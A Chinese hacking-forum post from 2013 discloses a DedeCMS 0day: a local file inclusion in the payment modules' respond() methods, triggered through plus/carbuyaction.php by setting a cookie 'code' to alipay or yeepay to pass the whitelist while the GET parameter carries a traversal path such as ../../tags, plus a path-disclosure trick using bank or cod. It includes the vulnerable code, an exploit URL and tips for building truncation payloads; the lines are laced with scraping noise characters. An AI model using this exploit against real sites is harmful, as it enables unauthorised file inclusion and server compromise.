找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1951|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
0 c; v6 m; e; ]* G6 l" {6 `+ \! ?' j5 n5 J
出现漏洞的两个文件为:3 Z4 E* ~* J# [% A
Include/payment/alipay.php- a. h$ v- \+ p( Z4 ]
Include/payment/yeepay.php
9 P2 d8 A: w. X3 ?/ n- n漏洞均出现在respond方法里,估计这两个文件是临时工写的。
, `- ?( A" T$ t* l' P; j, a) U4 Y" H, C& ^' G
Include/payment/alipay.php
2 s5 j1 m7 G' A5 M, `% L
2 t: {" M/ n5 Q. Q......
  Y1 W! g; S. [2 G  Z   function respond()
7 Z/ w9 x% a  L7 c5 w: l    {+ }( ^7 e' W3 B+ Z. w6 x
        if (!empty($_POST))
- ^' d1 g4 @) ^& c9 A1 F: O. }1 n        {/ n! h$ W6 x9 _# z! k
            foreach($_POST as $key => $data)( [4 z0 i: U* Y' E6 g
            {
3 F1 O  \) M+ i9 K7 N' o                $_GET[$key] = $data;
" X! ^9 }+ X; `& Y& U            }
4 X" H, A: \0 F, W9 M) A        }
' C* Z0 ?6 }( g8 t3 I5 P0 K        /* 引入配置文件 */
. n. E# {$ b# v+ i0 }2 |        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
$ S3 \7 p0 I( R......
5 S% T& a/ I$ @0 Q8 h& S
. R3 ^$ K8 y4 l5 T; \: }# @( X2 q3 y4 b% H6 n  w6 \+ `8 A2 W) q' [
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。7 L# l* a1 K, f0 a( }
, Z' C+ n+ B: X9 d  f5 A9 N& F
Include/payment/yeepay.php
7 [$ R5 H4 s& p+ }. a' r4 N- ]
% y! V. y# M; n. ~# T$ d) L, t
& S! G* F  h" C. [3 P5 m
5 p4 w) R0 d9 W# t+ {......
4 o& s. v$ g4 F- |) Q    function respond()2 G4 w% @# a; P% A2 H
    {2 |% L0 r; v4 h8 M- S) H6 i

6 e+ `6 w7 |  M9 c; X- t        /* 引入配置文件 */9 A  i! z+ w/ B6 z# d
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
1 p  j! ?* }# C) f# [- }- B  W" k % z, @- K6 R! I1 S
        $p1_MerId = trim($payment['yp_account']);2 R& K3 l  a* Q7 Z4 Z* z5 T
        $merchantKey = trim($payment['yp_key']);
9 b9 g2 d- d% L" v7 P- X4 J% D......
/ X) |, |" O) ]  R# A, W$ Q2 X" n
. P- J: X; ?8 h1 ~6 D! ^# d2 V: t' h8 @, N

% k" R, M9 c5 u. F+ K. i4 W% N/ Y9 D
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
- [# f; Q1 D5 y3 i
) D- i; n1 o6 A4 S0 M这两个方法在plus/carbuyaction.php文件调用。
1 i. O- T" v! @4 s. j8 Y& S6 o* ]
plus/carbuyaction.php
! e( u6 x4 w" I( n( a/ W7 r- p0 ]
5 @) X; R% S2 V+ k# N......
- H( x, g' K! J# ^* g} else if ($dopost == 'return') {
3 S  j) M, ?& ?( \4 @* t+ `, a% f    $write_list = array('alipay', 'bank', 'cod', 'yeepay');; M. _' T$ D$ q/ E$ Z5 {
    if (in_array($code, $write_list))8 _7 b" R1 D9 b0 {& i# r
    {
! s* x% a' g6 n% L$ j        require_once DEDEINC.'/payment/'.$code.'.php';
  G. m* Y( f; x$ N& H4 _) D! @        $pay = new $code;
* M; [- P4 d+ z% B6 W        $msg=$pay->respond();
8 S5 w( U8 v) T, H% ~; e5 o. D3 ?1 `        ShowMsg($msg, "javascript:;", 0, 3000);/ c, a% m, `; G' m7 |5 d2 g  Y
        exit();  
$ U3 z3 {, N% }! ~5 J    } else {; i- A+ p$ M2 D2 c
        exit('Error:File Type Can\'t Recognized!');: ?/ d  L3 O( _% g1 t. V
    }6 S% @2 _1 C: C" a( B8 @2 ]4 c# M
}4 k- k& }, `: ~2 x1 e
......
7 u0 B" i5 X  x$ ] . F4 ?/ O$ _( ^- y
0 {" f' B! ^. Q& f' g1 z: _+ g
) F: a! q0 s5 c  |
/ \! R- {- m. D8 x* {

! `8 G( C1 R; w2 @. }$ V; G3 B) E# w8 z
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。: `% n6 C( n0 p& I/ l0 N$ ~
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
. G/ C6 q; a% g. Y7 J) {" s
% A- x. F: I: t回到include/common.inc.php来看看他的机制。
# T# ^/ o1 G+ u* `' Y
9 A7 P1 C" e1 b2 Q
- K6 Q5 a- Q7 V: I5 R8 F
& A! h# @8 p0 y$ q6 A& }......0 w; T& `8 n# a, k2 E# l
foreach(Array('_GET','_POST','_COOKIE') as $_request)
2 Z# |7 f) G" `* i5 Z2 H{
+ v( p- k; I$ g% K5 o% ]8 s+ _        foreach($$_request as $_k => $_v)
0 u: l. d& d: R+ m8 I        {& w) D4 x* h8 k$ C
                if($_k == 'nvarname') ${$_k} = $_v;- y4 l8 N& p5 p# [: g
                else ${$_k} = _RunMagicQuotes($_v);$ O+ ^' H* e* H; R6 O7 o
        }
6 V$ Z' s; |' S6 I}6 _6 w7 L* v) D: X" K$ g4 R' T$ U
......
; q$ i* g8 B% y大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:# ?& u( C, h" ~1 w: r- C  z" z! N
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表